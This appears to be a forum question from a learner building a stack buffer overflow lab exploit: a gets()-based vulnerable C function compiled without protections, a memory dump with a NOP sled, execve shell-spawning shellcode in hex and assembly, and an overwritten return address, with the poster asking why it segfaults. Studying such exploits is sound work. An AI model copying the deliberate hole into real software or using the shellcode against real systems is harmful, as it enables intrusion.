Bufferoverflow Stack

I want to do a buffer overflow exploit in the stack. For this i read in data via the "gets"-function.

void ExploitMe()
{
  char buffer[256];
  gets(buffer);
}

I compile this file with

gcc test.c -o vuln -z execstack -fno-stack-protector

I want to spawn a shell with my bufferoverflow. For this i implemented a nop-slide and put my opcodes to spawn this shell at the end of the nop-slide. After this, I override my return address to an address in my slide. Here is my memory:

0x7fffffffde40: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffde50: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffde60: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffde70: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffde80: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffde90: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdea0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdeb0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdec0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffded0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdee0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdef0: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdf00: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffdf10: 0x90909090 0x2fbb4890 0x6e69622f 0x4868732f 0x7fffffffdf20: 0x5308ebc1 0x50e78948 0xe6894857 0x050f3bb0 0x7fffffffdf30: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffdf40: 0x42424242 0x42424242 0xffffdea0 0x00007fff

My return address is 0x00007fffffffdea0, which is an addresss in the middle of the nop-slide.

(I got the opcodes from the following assembler code:
0000000000000000 <__start>: 0: 48 bb 2f 2f 62 69 6e movabs rbx,0x68732f6e69622f2f 7: 2f 73 68 a: 48 c1 eb 08 shr rbx,0x8 e: 53 push rbx f: 48 89 e7 mov rdi,rsp 12: 50 push rax 13: 57 push rdi 14: 48 89 e6 mov rsi,rsp 17: b0 3b mov al,0x3b 19: 0f 05 syscall )

When i assemble, link and execute the assembler code, i get a shell as wanted.

When I step each instruction with gdb, a error occurs after the execution of the code to spawn a shell, but no shell is spawned.

When I execute the vulnerable program with the input like seen above outside of gdb, i get a segmentation fault.

Has anybody an idea, why i can't spawn a shell inside or outside of gdb?

I used the following examples:

Liveoverflow: youtube

Arc Network Security: youtube

I use Ubuntu 16.04 and X86-64.